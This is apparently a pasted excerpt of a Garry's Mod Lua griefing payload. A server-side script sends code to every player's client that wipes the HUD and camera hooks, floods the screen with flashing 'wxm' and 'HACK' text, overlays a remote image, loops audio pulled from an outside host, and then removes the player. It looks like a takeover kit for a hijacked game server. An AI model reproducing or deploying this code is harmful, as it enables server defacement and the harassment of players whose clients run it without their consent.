  885. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  886.  
  887. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  888. for k, v in pairs(remove) do
  889. hook.GetTable()[v] = {}
  890. end
  891.  
  892. local function GetWebMat( strURL )
  893. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  894. end
  895.  
  896. hook.Add( "HUDPaint", "hud7enigma", function()
  897. surface.SetDrawColor( 255, 255, 255, 255 )
  898.  
  899. draw.SimpleTextOutlined(
  900. "wxm",
  901. "DermaLarge",
  902. ScrW() /2 +math.random( -700, 700 ),
  903. ScrH() /2 +math.random( -700, 700 ) +300,
  904. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  905. TEXT_ALIGN_CENTER,
  906. TEXT_ALIGN_CENTER,
  907. 1,
  908. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  909. )
  910. end )
  911. ]] )
  912. end )
  913.  
  914. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  915. enigmalaunchproject:SendLua( pPlayer, [[
  916.  
  917. (GAMEMODE or GM).CalcView = function() end
  918. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  919.  
  920. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  921. for k, v in pairs(remove) do
  922. hook.GetTable()[v] = {}
  923. end
  924.  
  925. local function GetWebMat( strURL )
  926. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  927. end
  928.  
  929. hook.Add( "HUDPaint", "hud10enigma", function()
  930. surface.SetDrawColor( 255, 255, 255, 255 )
  931.  
  932. draw.SimpleTextOutlined(
  933. "wxm",
  934. "DermaLarge",
  935. ScrW() /2 +math.random( -800, 800 ),
  936. ScrH() /2 +math.random( -800, 800 ) -400,
  937. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  938. TEXT_ALIGN_CENTER,
  939. TEXT_ALIGN_CENTER,
  940. 1,
  941. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  942. )
  943. end )
  944. ]] )
  945. end )
  946.  
  947. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  948. enigmalaunchproject:SendLua( pPlayer, [[
  949.  
  950. (GAMEMODE or GM).CalcView = function() end
  951. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  952.  
  953. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  954. for k, v in pairs(remove) do
  955. hook.GetTable()[v] = {}
  956. end
  957.  
  958. local function GetWebMat( strURL )
  959. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  960. end
  961.  
  962. hook.Add( "HUDPaint", "hud12enigma", function()
  963. surface.SetDrawColor( 255, 255, 255, 255 )
  964.  
  965. draw.SimpleTextOutlined(
  966. "wxm",
  967. "DermaLarge",
  968. ScrW() /2 +math.random( -850, 850 ),
  969. ScrH() /2 +math.random( -850, 850 ) +100,
  970. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  971. TEXT_ALIGN_CENTER,
  972. TEXT_ALIGN_CENTER,
  973. 1,
  974. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  975. )
  976. end )
  977. ]] )
  978. end )
  979.  
  980. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  981. enigmalaunchproject:SendLua( pPlayer, [[
  982.  
  983. (GAMEMODE or GM).CalcView = function() end
  984. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  985.  
  986. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  987. for k, v in pairs(remove) do
  988. hook.GetTable()[v] = {}
  989. end
  990.  
  991. local function GetWebMat( strURL )
  992. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  993. end
  994.  
  995. hook.Add( "HUDPaint", "hud1enigma", function()
  996. surface.SetDrawColor( 255, 255, 255, 255 )
  997.  
  998. draw.SimpleTextOutlined(
  999. "wxm",
  1000. "DermaLarge",
  1001. ScrW() /2 +math.random( -300, 600 ),
  1002. ScrH() /2 +math.random( -600, 300 ) +200,
  1003. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1004. TEXT_ALIGN_CENTER,
  1005. TEXT_ALIGN_CENTER,
  1006. 1,
  1007. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1008. )
  1009. end )
  1010. ]] )
  1011. end )
  1012.  
  1013. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  1014. enigmalaunchproject:SendLua( pPlayer, [[
  1015.  
  1016. (GAMEMODE or GM).CalcView = function() end
  1017. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1018.  
  1019. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1020. for k, v in pairs(remove) do
  1021. hook.GetTable()[v] = {}
  1022. end
  1023.  
  1024. local function GetWebMat( strURL )
  1025. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1026. end
  1027.  
  1028. hook.Add( "HUDPaint", "hud1enigma", function()
  1029. surface.SetDrawColor( 255, 255, 255, 255 )
  1030.  
  1031. draw.SimpleTextOutlined(
  1032. "wxm",
  1033. "HACK",
  1034. ScrW() /2 +math.random( -300, 600 ),
  1035. ScrH() /2 +math.random( -600, 300 ) +200,
  1036. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  1037. TEXT_ALIGN_CENTER,
  1038. TEXT_ALIGN_CENTER,
  1039. 1,
  1040. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  1041. )
  1042. end )
  1043. ]] )
  1044. end )
  1045.  
  1046.  
  1047. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1048. enigmalaunchproject:SendLua( pPlayer, ([=[
  1049.  
  1050. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  1051. local html = [[%s]]
  1052. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  1053. local pnl = vgui.Create( "HTML" )
  1054. pnl:SetPos( ScrW() -1, ScrH() -1 )
  1055. pnl:SetVisible( true )
  1056. pnl:SetMouseInputEnabled( false )
  1057. pnl:SetKeyBoardInputEnabled( false )
  1058. pnl:SetSize( intSizeX, intSizeY )
  1059. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  1060.  
  1061. local PageLoaded
  1062. PageLoaded = function()
  1063. local mat = pnl:GetHTMLMaterial()
  1064. if mat then
  1065. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  1066. return
  1067. end
  1068.  
  1069. timer.Simple( 0.5, PageLoaded )
  1070. end
  1071.  
  1072. PageLoaded()
  1073. end
  1074.  
  1075. LoadWebMaterial( "https://upload.wikimedia.org/wikipedia/commons/thumb/e/e3/Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg/220px-Emmanuel_Macron_in_Tallinn_Digital_Summit._Welcome_dinner_hosted_by_HE_Donald_Tusk._Handshake_%2836669381364%29_%28cropped_2%29.jpg", "EnigmaLogo", 1000, 1000 )
  1076. ]=]):format(lol.m_strImageLoadHTML) )
  1077. end )
  1078.  
  1079. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  1080. enigmalaunchproject:SendLua( pPlayer, [[
  1081. (GAMEMODE or GM).CalcView = function() end
  1082. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  1083.  
  1084. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  1085. for k, v in pairs(remove) do
  1086. hook.GetTable()[v] = {}
  1087. end
  1088.  
  1089. local function GetWebMat( strURL )
  1090. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  1091. end
  1092.  
  1093. hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
  1094. surface.SetDrawColor( 255, 255, 255, 255 )
  1095.  
  1096. if GetWebMat( "EnigmaLogo" ) then
  1097. surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
  1098. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  1099. end
  1100. end )
  1101.  
  1102. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  1103. hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
  1104.  
  1105. surface.PlaySound( "garrysmod/save_load4.wav" )
  1106. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  1107. ]] )
  1108. end )
  1109.  
  1110. lol:PushAction( 175, function( pPlayer )
  1111. lol:SendLua( pPlayer, [[
  1112. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  1113.  
  1114. local sounds = {}
  1115. for i = 1, 4 do
  1116. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "noblock noplay", function( pChan )
  1117. sounds[#sounds +1] = pChan
  1118. end )
  1119. end
  1120.  
  1121. timer.Create( "asdf", 1, 0, function()
  1122. if #sounds ~= 4 then return end
  1123. timer.Destroy( "asdf" )
  1124. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  1125. end )
  1126.  
  1127. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  1128. ]] )
  1129.  
  1130. pPlayer:Remove()
  1131. end )
Advertisement
Add Comment
Please, Sign In to add comment